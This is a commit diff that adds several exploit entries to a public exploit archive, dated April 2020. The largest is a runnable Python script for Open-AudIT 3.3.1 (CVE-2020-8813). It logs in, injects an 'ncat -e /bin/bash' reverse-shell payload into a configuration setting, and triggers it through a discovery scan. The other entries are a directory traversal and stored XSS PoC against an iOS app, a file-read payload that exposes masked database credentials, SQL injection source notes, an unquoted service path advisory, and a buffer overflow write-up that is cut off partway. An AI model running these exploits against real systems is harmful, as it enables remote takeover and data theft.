DB: 2020-04-30
8 changes to exploits/shellcodes Andrea ST Filters Service 1.0.64.7 - 'Andrea ST Filters Service ' Unquoted Service Path Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC) EmEditor 19.8 - Insecure File Permissions Druva inSync Windows Client 6.5.2 - Local Privilege Escalation Open-AudIT Professional 3.3.1 - Remote Code Execution School ERP Pro 1.0 - Arbitrary File Read Easy Transfer 1.7 for iOS - Directory Traversal hits script 1.0 - 'item_name' SQL Injection
This commit is contained in:
Offensive Security
parent
0f5a9de36d
commit
a99d181f24
9 changed files with 816 additions and 0 deletions
187
exploits/ios/webapps/48395.txt
Normal file
187
exploits/ios/webapps/48395.txt
Normal file
|
|
@ -0,0 +1,187 @@
|
||||||
|
# Title: Easy Transfer 1.7 for iOS - Directory Traversal
|
||||||
|
# Author: Vulnerability Laboratory
|
||||||
|
# Date: 2020-04-27
|
||||||
|
# Software: https://apps.apple.com/us/app/easy-transfer-wifi-transfer/id1484667078
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
Easy Transfer v1.7 iOS - Multiple Web Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
References (Source):
|
||||||
|
====================
|
||||||
|
https://www.vulnerability-lab.com/get_content.php?id=2223
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
7.1
|
||||||
|
|
||||||
|
|
||||||
|
Affected Product(s):
|
||||||
|
====================
|
||||||
|
Rubikon Teknoloji
|
||||||
|
Product: Easy Transfer v1.7 - iOS Mobile Web-Application
|
||||||
|
(Copy of the Homepage:
|
||||||
|
https://apps.apple.com/us/app/easy-transfer-wifi-transfer/id1484667078 )
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Disclosure Timeline:
|
||||||
|
==================================
|
||||||
|
2020-04-27: Public Disclosure (Vulnerability Laboratory)
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
1.1
|
||||||
|
A directory traversal web vulnerability has been discovered in the Easy
|
||||||
|
Transfer Wifi Transfer v1.7 ios mobile application.
|
||||||
|
The vulnerability allows remote attackers to change the application path
|
||||||
|
in performed requests to compromise the local application
|
||||||
|
or file-system of a mobile device. Attackers are for example able to
|
||||||
|
request environment variables or a sensitive system path.
|
||||||
|
|
||||||
|
The directory-traversal web vulnerability is located in the main
|
||||||
|
application path request performed via GET method. Attackers are
|
||||||
|
able to request for example the local path variables of the web-server
|
||||||
|
by changing the local path in the performed request itself.
|
||||||
|
In a first request the attack changes the path, the host redirects to
|
||||||
|
complete the adress with "..". Then the attacker just
|
||||||
|
attaches /.. a final slash to its request and the path can be accessed
|
||||||
|
via web-browser to download or list local files.
|
||||||
|
|
||||||
|
Exploitation of the directory traversal web vulnerability requires no
|
||||||
|
privileged web-application user account or user interaction.
|
||||||
|
Successful exploitation of the vulnerability results in information
|
||||||
|
leaking by unauthorized file access and mobile application compromise.
|
||||||
|
|
||||||
|
|
||||||
|
1.2
|
||||||
|
Multiple persistent cross site scripting vulnerability has been
|
||||||
|
discovered in the Easy Transfer Wifi Transfer v1.7 ios mobile application.
|
||||||
|
The vulnerability allows remote attackers to inject own malicious script
|
||||||
|
codes with persistent attack vector to compromise the mobile
|
||||||
|
web-application from the application-side.
|
||||||
|
|
||||||
|
The persistent vulnerabilities are located in the `Create Folder` and
|
||||||
|
`Move/Edit` functions. Attackers are able to inject own malicious
|
||||||
|
script codes to the `oldPath`, `newPath` and `path` parameters. The
|
||||||
|
request method to inject is POST and the attack vector is located on
|
||||||
|
the application-side.
|
||||||
|
|
||||||
|
Successful exploitation of the vulnerability results in session
|
||||||
|
hijacking, persistent phishing attacks, persistent external redirects
|
||||||
|
to malicious source and persistent manipulation of affected application
|
||||||
|
modules.
|
||||||
|
|
||||||
|
Request Method(s):
|
||||||
|
[+] POST
|
||||||
|
|
||||||
|
Vulnerable Module(s):
|
||||||
|
[+] Create Folder
|
||||||
|
[+] Move/Edit
|
||||||
|
|
||||||
|
Vulnerable Parameter(s):
|
||||||
|
[+] oldPath
|
||||||
|
[+] newPath
|
||||||
|
[+] path
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
1.1
|
||||||
|
The directory traversal web vulnerability can be exploited by remote
|
||||||
|
attackers with wifi network access without user interaction.
|
||||||
|
For security demonstration or to reproduce the vulnerability follow the
|
||||||
|
provided information and steps below to continue.
|
||||||
|
|
||||||
|
|
||||||
|
PoC: Exploitation
|
||||||
|
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
|
||||||
|
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../
|
||||||
|
|
||||||
|
[{"path":"/../../../../../../../../../../../../../../../../../../../../../../../../../../../test/","name":"test"}]
|
||||||
|
|
||||||
|
|
||||||
|
--- PoC Session Logs [GET] --- (list)
|
||||||
|
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F
|
||||||
|
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../
|
||||||
|
Host: localhost
|
||||||
|
Accept:
|
||||||
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Connection: keep-alive
|
||||||
|
-
|
||||||
|
GET: HTTP/1.1 200 OK
|
||||||
|
Content-Length: 213
|
||||||
|
Content-Type: application/json
|
||||||
|
Connection: Close
|
||||||
|
|
||||||
|
|
||||||
|
1.2
|
||||||
|
The persistent input validation web vulnerabilities can be exploited by
|
||||||
|
remote attackers with wifi network access with low user interaction.
|
||||||
|
For security demonstration or to reproduce the vulnerability follow the
|
||||||
|
provided information and steps below to continue.
|
||||||
|
|
||||||
|
|
||||||
|
PoC: Exploitation
|
||||||
|
<scriptx00>alert(document.domain)</script>
|
||||||
|
|
||||||
|
|
||||||
|
--- PoC Session Logs [POST] --- (Create & Move)
|
||||||
|
http://localhost/create
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
||||||
|
Gecko/20100101 Firefox/75.0
|
||||||
|
Accept: application/json, text/javascript, */*; q=0.01
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Content-Length: 47
|
||||||
|
Origin: http://localhost
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: http://localhost/
|
||||||
|
path=/test<scriptx00>alert(document.domain)</script>
|
||||||
|
-
|
||||||
|
POST: HTTP/1.1 200 OK
|
||||||
|
Cache-Control: no-cache
|
||||||
|
Content-Length: 2
|
||||||
|
Content-Type: application/json
|
||||||
|
Connection: Close
|
||||||
|
-
|
||||||
|
http://localhost/move
|
||||||
|
Host: localhost
|
||||||
|
Accept: application/json, text/javascript, */*; q=0.01
|
||||||
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||||
|
X-Requested-With: XMLHttpRequest
|
||||||
|
Content-Length: 69
|
||||||
|
Origin: http://localhost
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: http://localhost/
|
||||||
|
oldPath=/test/<scriptx00>alert(document.domain)</script>&newPath=/test<scriptx00>alert(document.domain)</script>
|
||||||
|
-
|
||||||
|
POST: HTTP/1.1 200 OK
|
||||||
|
Content-Length: 411
|
||||||
|
Content-Type: text/html; charset=utf-8
|
||||||
|
Connection: Close
|
||||||
|
- [GET] (Execution)
|
||||||
|
http://localhost/evil.source
|
||||||
|
Host: localhost
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0)
|
||||||
|
Gecko/20100101 Firefox/75.0
|
||||||
|
Accept:
|
||||||
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: http://localhost/
|
||||||
|
|
||||||
|
|
||||||
|
Credits & Authors:
|
||||||
|
==================
|
||||||
|
Vulnerability-Lab -
|
||||||
|
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
|
||||||
|
Benjamin Kunz Mejri -
|
||||||
|
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
|
||||||
|
|
||||||
|
|
||||||
|
--
|
||||||
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
||||||
131
exploits/php/webapps/48393.py
Executable file
131
exploits/php/webapps/48393.py
Executable file
|
|
@ -0,0 +1,131 @@
|
||||||
|
# Exploit Title: Open-AudIT Professional 3.3.1 - Remote Code Execution
|
||||||
|
# Date: 2020-04-22
|
||||||
|
# Exploit Author: Askar
|
||||||
|
# CVE: CVE-2020-8813
|
||||||
|
# Vendor Homepage: https://opmantek.com/
|
||||||
|
# Version: v3.3.1
|
||||||
|
# Tested on: Ubuntu 18.04 / PHP 7.2.24
|
||||||
|
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
import warnings
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from bs4 import BeautifulSoup
|
||||||
|
from urllib.parse import quote
|
||||||
|
|
||||||
|
warnings.filterwarnings("ignore", category=3DUserWarning, module=3D'bs4')
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) !=3D 6:
|
||||||
|
print("[~] Usage : ./openaudit-exploit.py url username password ip port=
|
||||||
|
")
|
||||||
|
exit()
|
||||||
|
|
||||||
|
url =3D sys.argv[1]
|
||||||
|
username =3D sys.argv[2]
|
||||||
|
password =3D sys.argv[3]
|
||||||
|
ip =3D sys.argv[4]
|
||||||
|
port =3D sys.argv[5]
|
||||||
|
|
||||||
|
request =3D requests.session()
|
||||||
|
|
||||||
|
def inject_payload():
|
||||||
|
configuration_path =3D url+"/en/omk/open-audit/configuration/90"
|
||||||
|
data =3D 'data=3D{"data":{"id":"90","type":"configuration","attributes"=
|
||||||
|
:{"value":";ncat${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s${IFS};"}}}' % (ip, =
|
||||||
|
port)
|
||||||
|
request.patch(configuration_path, data)
|
||||||
|
print("[+] Payload injected in settings")
|
||||||
|
|
||||||
|
|
||||||
|
def start_discovery():
|
||||||
|
discovery_path =3D url+"/en/omk/open-audit/discoveries/create"
|
||||||
|
post_discovery_path =3D url+"/en/omk/open-audit/discoveries"
|
||||||
|
scan_name =3D "".join([random.choice(string.ascii_uppercase) for i in r=
|
||||||
|
ange(10)])
|
||||||
|
req =3D request.get(discovery_path)
|
||||||
|
|
||||||
|
response =3D req.text
|
||||||
|
soup =3D BeautifulSoup(response, "html5lib")
|
||||||
|
token =3D soup.findAll('input')[5].get("value")
|
||||||
|
buttons =3D soup.findAll("button")
|
||||||
|
headers =3D {"Referer" : discovery_path}
|
||||||
|
request_data =3D {
|
||||||
|
"data[attributes][name]":scan_name,
|
||||||
|
"data[attributes][other][subnet]":"10.10.10.1/24",
|
||||||
|
"data[attributes][other][ad_server]":"",
|
||||||
|
"data[attributes][other][ad_domain]":"",
|
||||||
|
"submit":"",
|
||||||
|
"data[type]":"discoveries",
|
||||||
|
"data[access_token]":token,
|
||||||
|
"data[attributes][complete]":"y",
|
||||||
|
"data[attributes][org_id]":"1",
|
||||||
|
"data[attributes][type]":"subnet",
|
||||||
|
"data[attributes][devices_assigned_to_org]":"",
|
||||||
|
"data[attributes][devices_assigned_to_location]":"",
|
||||||
|
"data[attributes][other][nmap][discovery_scan_option_id]":"1",
|
||||||
|
"data[attributes][other][nmap][ping]":"y",
|
||||||
|
"data[attributes][other][nmap][service_version]":"n",
|
||||||
|
"data[attributes][other][nmap][open|filtered]":"n",
|
||||||
|
"data[attributes][other][nmap][filtered]":"n",
|
||||||
|
"data[attributes][other][nmap][timing]":"4",
|
||||||
|
"data[attributes][other][nmap][nmap_tcp_ports]":"0",
|
||||||
|
"data[attributes][other][nmap][nmap_udp_ports]":"0",
|
||||||
|
"data[attributes][other][nmap][tcp_ports]":"22,135,62078",
|
||||||
|
"data[attributes][other][nmap][udp_ports]":"161",
|
||||||
|
"data[attributes][other][nmap][timeout]":"",
|
||||||
|
"data[attributes][other][nmap][exclude_tcp_ports]":"",
|
||||||
|
"data[attributes][other][nmap][exclude_udp_ports]":"",
|
||||||
|
"data[attributes][other][nmap][exclude_ip]":"",
|
||||||
|
"data[attributes][other][nmap][ssh_ports]":"22",
|
||||||
|
"data[attributes][other][match][match_dbus]":"",
|
||||||
|
"data[attributes][other][match][match_fqdn]":"",
|
||||||
|
"data[attributes][other][match][match_dns_fqdn]":"",
|
||||||
|
"data[attributes][other][match][match_dns_hostname]":"",
|
||||||
|
"data[attributes][other][match][match_hostname]":"",
|
||||||
|
"data[attributes][other][match][match_hostname_dbus]":"",
|
||||||
|
"data[attributes][other][match][match_hostname_serial]":"",
|
||||||
|
"data[attributes][other][match][match_hostname_uuid]":"",
|
||||||
|
"data[attributes][other][match][match_ip]":"",
|
||||||
|
"data[attributes][other][match][match_ip_no_data]":"",
|
||||||
|
"data[attributes][other][match][match_mac]":"",
|
||||||
|
"data[attributes][other][match][match_mac_vmware]":"",
|
||||||
|
"data[attributes][other][match][match_serial]":"",
|
||||||
|
"data[attributes][other][match][match_serial_type]":"",
|
||||||
|
"data[attributes][other][match][match_sysname]":"",
|
||||||
|
"data[attributes][other][match][match_sysname_serial]":"",
|
||||||
|
"data[attributes][other][match][match_uuid]":""
|
||||||
|
|
||||||
|
}
|
||||||
|
print("[+] Creating discovery ..")
|
||||||
|
req =3D request.post(post_discovery_path, data=3Drequest_data, headers=
|
||||||
|
=3Dheaders, allow_redirects=3DFalse)
|
||||||
|
disocvery_url =3D url + req.headers['Location'] + "/execute"
|
||||||
|
print("[+] Triggering payload ..")
|
||||||
|
print("[+] Check your nc ;)")
|
||||||
|
request.get(disocvery_url)
|
||||||
|
|
||||||
|
|
||||||
|
def login():
|
||||||
|
login_info =3D {
|
||||||
|
"redirect_url": "/en/omk/open-audit",
|
||||||
|
"username": username,
|
||||||
|
"password": password
|
||||||
|
}
|
||||||
|
login_request =3D request.post(url+"/en/omk/open-audit/login", login_in=
|
||||||
|
fo)
|
||||||
|
login_text =3D login_request.text
|
||||||
|
if "There was an error authenticating" in login_text:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
|
if login():
|
||||||
|
print("[+] LoggedIn Successfully")
|
||||||
|
inject_payload()
|
||||||
|
start_discovery()
|
||||||
|
else:
|
||||||
|
print("[-] Cannot login!")
|
||||||
42
exploits/php/webapps/48394.txt
Normal file
42
exploits/php/webapps/48394.txt
Normal file
|
|
@ -0,0 +1,42 @@
|
||||||
|
# Exploit Title: School ERP Pro 1.0 - Arbitrary File Read
|
||||||
|
# Date: 2020-04-28
|
||||||
|
# Author: Besim ALTINOK
|
||||||
|
# Vendor Homepage: http://arox.in
|
||||||
|
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/
|
||||||
|
# Version: latest version
|
||||||
|
# Tested on: Xampp
|
||||||
|
# Credit: İsmail BOZKURT
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
Vulnerable code: (/student_staff/download.php)
|
||||||
|
- File Name: download.php
|
||||||
|
- Content of the download.php
|
||||||
|
|
||||||
|
<?php
|
||||||
|
if ( isset($_REQUEST["document"])&&$_REQUEST["document"]!="") {
|
||||||
|
$file = $_REQUEST['document'];
|
||||||
|
header("Content-type: application/force-download");
|
||||||
|
header("Content-Transfer-Encoding: Binary");
|
||||||
|
header("Content-length: ".filesize($file));
|
||||||
|
header("Content-disposition: attachment; filename=\"".$file."\"");
|
||||||
|
readfile($file);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
|
||||||
|
------------
|
||||||
|
*Payload:*
|
||||||
|
---------------
|
||||||
|
|
||||||
|
http://localhost/school_erp/student_staff/download.php?document=../includes/constants.inc.php
|
||||||
|
------------------------
|
||||||
|
*After run payload: (we accessed of the file content)*
|
||||||
|
------------------------
|
||||||
|
|
||||||
|
<?php
|
||||||
|
|
||||||
|
define('DB_SERVER', 'localhost');
|
||||||
|
define('DB_SERVER_USERNAME', 'aroxi********');
|
||||||
|
define('DB_SERVER_PASSWORD', 'erp**********');
|
||||||
|
define('DB_DATABASE', 'aroxi****************');
|
||||||
|
?>
|
||||||
100
exploits/php/webapps/48399.txt
Normal file
100
exploits/php/webapps/48399.txt
Normal file
|
|
@ -0,0 +1,100 @@
|
||||||
|
# Exploit Title: hits script 1.0 - 'item_name' SQL Injection
|
||||||
|
# Date: 2020-04-27
|
||||||
|
# Exploit Author: SajjadBnd
|
||||||
|
# Vendor Homepage: https://hits.ir
|
||||||
|
# Software Link: http://dl.persianscript.ir/script/hitsir-script-persian%28PersianScript.ir%29.zip
|
||||||
|
# Software Link(mirror): http://dl.nuller.ir/hitsir-script-persian[www.nuller.ir].zip
|
||||||
|
# Version: 1.0
|
||||||
|
# Tested on: Win10 Professional x64
|
||||||
|
|
||||||
|
[ description of script ]
|
||||||
|
|
||||||
|
With this script you can set up a site to exchange statistics and traffic as well as
|
||||||
|
increase rankings. In this script, it is possible to exchange Google +1,
|
||||||
|
exchange Facebook points, exchange Twitter followers,
|
||||||
|
exchange YouTube visitors, exchange visit statistics.
|
||||||
|
|
||||||
|
[ poc ]
|
||||||
|
|
||||||
|
file : ipn.php
|
||||||
|
|
||||||
|
parameters : 'item_name' , 'item_number'
|
||||||
|
method : POST
|
||||||
|
source [
|
||||||
|
|
||||||
|
36: mysql_query $pack = mysql_fetch_object(mysql_query("SELECT * FROM `c_pack` WHERE `name`='{$item_name}' AND `coins`='{$item_number}'"));
|
||||||
|
19: $item_name = $_POST['item_name'];
|
||||||
|
20: $item_number = $_POST['item_number'];
|
||||||
|
|
||||||
|
requires:
|
||||||
|
4: if(!(mysql_connect("$host", "$user", "$pass") && mysql_select_db("$tablename")))
|
||||||
|
31: if(!$fp) else
|
||||||
|
35: if(strcmp($res, "VERIFIED") == 0)
|
||||||
|
|
||||||
|
]
|
||||||
|
|
||||||
|
parameter : 'custom'
|
||||||
|
method : POST
|
||||||
|
source [
|
||||||
|
|
||||||
|
43: mysql_query mysql_query("UPDATE `users` SET `coins`=`coins`+'{$pack->coins}' WHERE `id`='{$custom}'");
|
||||||
|
27: $custom = $_POST['custom'];
|
||||||
|
|
||||||
|
requires:
|
||||||
|
4: if(!(mysql_connect("$host", "$user", "$pass") && mysql_select_db("$tablename")))
|
||||||
|
31: if(!$fp) else
|
||||||
|
35: if(strcmp($res, "VERIFIED") == 0)
|
||||||
|
41: if(($receiver_email == $site->paypal) && ($payment_amount == $pack->price) && ($payment_status == 'Completed'))
|
||||||
|
|
||||||
|
]
|
||||||
|
|
||||||
|
parameters : 'item_name','mc_gross'
|
||||||
|
method : POST
|
||||||
|
source [
|
||||||
|
|
||||||
|
44: mysql_query mysql_query("INSERT INTO `transactions` (user, points, pack, money, date) VALUES('{$user->login}', '{$pack->coins}', '{$item_name}', '{$payment_amount}', NOW())");
|
||||||
|
19: $item_name = $_POST['item_name'];
|
||||||
|
22: $payment_amount = $_POST['mc_gross'];
|
||||||
|
|
||||||
|
requires:
|
||||||
|
4: if(!(mysql_connect("$host", "$user", "$pass") && mysql_select_db("$tablename")))
|
||||||
|
31: if(!$fp) else
|
||||||
|
35: if(strcmp($res, "VERIFIED") == 0)
|
||||||
|
41: if(($receiver_email == $site->paypal) && ($payment_amount == $pack->price) && ($payment_status == 'Completed'))
|
||||||
|
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
file : register.php
|
||||||
|
|
||||||
|
parameters : 'PlusREF','register'
|
||||||
|
method : COOKIE,POST
|
||||||
|
source [
|
||||||
|
|
||||||
|
22: mysql_query $user1 = mysql_query("SELECT * FROM `users` WHERE `id`='{$ref}'");
|
||||||
|
21: $ref = $_COOKIE['PlusREF'];
|
||||||
|
|
||||||
|
requires:
|
||||||
|
3: if(isset($_POST['register']))
|
||||||
|
19: if(!checkpwd ($sec['password'], $sec['password2'])) else
|
||||||
|
20: if(isset($_COOKIE['PlusREF']))
|
||||||
|
|
||||||
|
]
|
||||||
|
|
||||||
|
&
|
||||||
|
|
||||||
|
source [
|
||||||
|
|
||||||
|
40: mysql_query mysql_query("INSERT INTO `users`(email,login,IP,pass,passdecoded,ref,signup,activate) values('{$sec['email']}','{$sec['user']}','$final','$passc','$passa','{$ref}',NOW(),'{$activare}')") or
|
||||||
|
37: $final = visitorip ();
|
||||||
|
39: $passc = md5($passa);
|
||||||
|
38: $passa = $sec['password'];
|
||||||
|
38: $passa = $sec['password'];
|
||||||
|
21: $ref = $_COOKIE['PlusREF']; // if(isset($_COOKIE)),
|
||||||
|
26: $activare = rand(000000000, 999999909);
|
||||||
|
|
||||||
|
requires:
|
||||||
|
3: if(isset($_POST['register']))
|
||||||
|
19: if(!checkpwd ($sec['password'], $sec['password2'])) else
|
||||||
|
|
||||||
|
]
|
||||||
34
exploits/windows/local/48396.txt
Normal file
34
exploits/windows/local/48396.txt
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# Exploit Title: Andrea ST Filters Service 1.0.64.7 - 'Andrea ST Filters Service ' Unquoted Service Path
|
||||||
|
# Discovery by: Roberto Piña
|
||||||
|
# Discovery Date: 2020-04-28
|
||||||
|
# Vendor Homepage: https://andreaelectronics.com/
|
||||||
|
# Software Link : https://andreaelectronics.com/
|
||||||
|
# Tested Version: 1.0.64.7
|
||||||
|
# Vulnerability Type: Unquoted Service Path
|
||||||
|
# Tested on OS: Windows 10 Pro x64 es
|
||||||
|
|
||||||
|
# Step to discover Unquoted Service Path:
|
||||||
|
|
||||||
|
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "Andrea" | findstr /i /v """
|
||||||
|
Andrea ST Filters Service AESTFilters C:\Program Files\IDT\WDM\AESTSr64.exe Auto
|
||||||
|
|
||||||
|
C:\>sc qc AESTFilters
|
||||||
|
[SC] QueryServiceConfig CORRECTO
|
||||||
|
|
||||||
|
NOMBRE_SERVICIO: AESTFilters
|
||||||
|
TIPO : 10 WIN32_OWN_PROCESS
|
||||||
|
TIPO_INICIO : 2 AUTO_START
|
||||||
|
CONTROL_ERROR : 1 NORMAL
|
||||||
|
NOMBRE_RUTA_BINARIO: C:\Program Files\IDT\WDM\AESTSr64.exe
|
||||||
|
GRUPO_ORDEN_CARGA :
|
||||||
|
ETIQUETA : 0
|
||||||
|
NOMBRE_MOSTRAR : Andrea ST Filters Service
|
||||||
|
DEPENDENCIAS :
|
||||||
|
NOMBRE_INICIO_SERVICIO: LocalSystem
|
||||||
|
|
||||||
|
|
||||||
|
#Exploit:
|
||||||
|
# A successful attempt would require the local user to be able to insert their code in the system root path
|
||||||
|
# undetected by the OS or other security applications where it could potentially be executed during
|
||||||
|
# application startup or reboot. If successful, the local user's code would execute with the elevated
|
||||||
|
# privileges of the application.
|
||||||
193
exploits/windows/local/48397.txt
Normal file
193
exploits/windows/local/48397.txt
Normal file
|
|
@ -0,0 +1,193 @@
|
||||||
|
# Title: Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC)
|
||||||
|
# Author: Vulnerability Laboratory
|
||||||
|
# Date: 2020-04-28
|
||||||
|
# Vendor: https://www.internetdownloadmanager.com
|
||||||
|
# Software: https://www.internetdownloadmanager.com/download.html
|
||||||
|
# CVE: N/A
|
||||||
|
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
Internet Download Manager v6.37.11.1 - Stack Buffer Overflow Vulnerabilities
|
||||||
|
|
||||||
|
|
||||||
|
References (Source):
|
||||||
|
====================
|
||||||
|
https://www.vulnerability-lab.com/get_content.php?id=2236
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
7.1
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Disclosure Timeline:
|
||||||
|
==================================
|
||||||
|
2020-04-28: Public Disclosure (Vulnerability Laboratory)
|
||||||
|
(Copy of the Homepage:
|
||||||
|
https://www.internetdownloadmanager.com/support/about_us.html )
|
||||||
|
(Sofwtare Product: https://www.internetdownloadmanager.com/download.html)
|
||||||
|
|
||||||
|
|
||||||
|
Exploitation Technique:
|
||||||
|
=======================
|
||||||
|
Local
|
||||||
|
|
||||||
|
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
High
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
Multiple stack buffer overflow vulnerabilities has been discovered in
|
||||||
|
the official Internet Download Manager v6.37.11.1 software.
|
||||||
|
The bufer overflow allows to overwrite registers of the process to
|
||||||
|
compromise the file-system by elevates local process privileges.
|
||||||
|
|
||||||
|
1.1
|
||||||
|
The first stack buffer overflow is located in the `search` function of
|
||||||
|
the downloads menu. The search function itself does not use
|
||||||
|
any secure restriction in the requested search variable of the inputs.
|
||||||
|
Local attackers with access to the software are able to overflow
|
||||||
|
the registers to elevate local process privileges. Thus allows a local
|
||||||
|
attacker to compromise the local computer- or file-system.
|
||||||
|
|
||||||
|
1.2
|
||||||
|
The second stack buffer overflow is located in the `Export/Import`
|
||||||
|
function of the tasks menu. Local users are able to import and
|
||||||
|
export the download tasks as *.ef2 file. Local attackers are able to
|
||||||
|
import manipulated *.ef2 files with manipulated referer and
|
||||||
|
source url to overwrite the eip register. The issue occurs because of
|
||||||
|
the insufficient ef2 filetype (context) validation process
|
||||||
|
that does not perform any length restrictions.
|
||||||
|
|
||||||
|
The security risk of the local stack buffer overflow vulnerabilities in
|
||||||
|
the software are estimated as high with a cvss count of 7.1.
|
||||||
|
Exploitation of the buffer overflow vulnerability requires a low
|
||||||
|
privilege or restricted system user account without user interaction.
|
||||||
|
Successful exploitation of the vulnerability results in overwrite of the
|
||||||
|
active registers to compromise of the computer system or process.
|
||||||
|
|
||||||
|
Vulnerable Module(s):
|
||||||
|
[+] Search
|
||||||
|
[+] Import/Export (ef2)
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
1.1
|
||||||
|
The stack buffer overflow vulnerability can be exploited by local
|
||||||
|
attackers with system user privileges without user interaction.
|
||||||
|
For security demonstration or to reproduce the local vulnerability
|
||||||
|
follow the provided information and steps below to continue.
|
||||||
|
|
||||||
|
|
||||||
|
Manual steps to reproduce the vulnerability ...
|
||||||
|
1. Open the software
|
||||||
|
2. Click the downloads menu and open the search
|
||||||
|
3. Inject a large unicode payload inside the search input field and transmit
|
||||||
|
4. The software crashs with several uncaught exception because of
|
||||||
|
overwritten register (0168D8F0)
|
||||||
|
5. Successful reproduce of the local buffer overflow vulnerability!
|
||||||
|
|
||||||
|
|
||||||
|
--- Debug Logs (0168D8F0) ---
|
||||||
|
00d61850 668b08 mov cx,word ptr [eax] ds:002b:41414141
|
||||||
|
-
|
||||||
|
00D6186D |. 56 PUSH ESI ; /Arg1
|
||||||
|
-
|
||||||
|
00D61882 |. E8 59FFFFFF CALL IDMan.00D617E0 ;
|
||||||
|
IDMan.00D617E0
|
||||||
|
-
|
||||||
|
00D6189B |> 50 PUSH EAX ; /Arg1
|
||||||
|
-
|
||||||
|
00D6189E |. E8 3DFFFFFF CALL IDMan.00D617E0 ;
|
||||||
|
IDMan.00D617E0
|
||||||
|
-
|
||||||
|
Call stack
|
||||||
|
Address=0168C79C
|
||||||
|
Stack=00DFE0F2
|
||||||
|
Procedure / arguments=IDMan.00D617E0
|
||||||
|
Called from=IDMan.00DFE0ED
|
||||||
|
Frame=0168E02C
|
||||||
|
-
|
||||||
|
SEH chain
|
||||||
|
Address SE handler
|
||||||
|
0168C790 IDMan.00F751E8
|
||||||
|
0168D8F0 41414141
|
||||||
|
-
|
||||||
|
EAX 41414141
|
||||||
|
ECX 01680000
|
||||||
|
EDX 41414141
|
||||||
|
EBX 00000001
|
||||||
|
ESP 0168C76C
|
||||||
|
EBP 0168E02C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
|
||||||
|
ESI 0168C7AC UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
|
||||||
|
EDI 00410043
|
||||||
|
EIP 00D61850 IDMan.00D61850
|
||||||
|
Executable modules
|
||||||
|
Base=00D60000
|
||||||
|
Size=00539000 (5476352.)
|
||||||
|
Entry=00F5CB1C IDMan.<ModuleEntryPoint>
|
||||||
|
Name=IDMan
|
||||||
|
File version=6, 37, 11, 2
|
||||||
|
Path=C:Program Files (x86)Internet Download ManagerIDMan.exe
|
||||||
|
|
||||||
|
|
||||||
|
1.2
|
||||||
|
The stack buffer overflow vulnerability can be exploited by local
|
||||||
|
attackers with system user privileges without user interaction.
|
||||||
|
For security demonstration or to reproduce the local vulnerability
|
||||||
|
follow the provided information and steps below to continue.
|
||||||
|
|
||||||
|
|
||||||
|
Manual steps to reproduce the vulnerability ...
|
||||||
|
1. Open the software
|
||||||
|
2. Start the bof_poc.pl
|
||||||
|
3. Open the tasks menu
|
||||||
|
4. Click import and import *.ef2 poc
|
||||||
|
Note: The software process crashs on import with uncaught exception
|
||||||
|
5. Successful reproduce of the local buffer overflow vulnerability!
|
||||||
|
|
||||||
|
|
||||||
|
Usage Example: Export/Import (*.ef2)
|
||||||
|
<
|
||||||
|
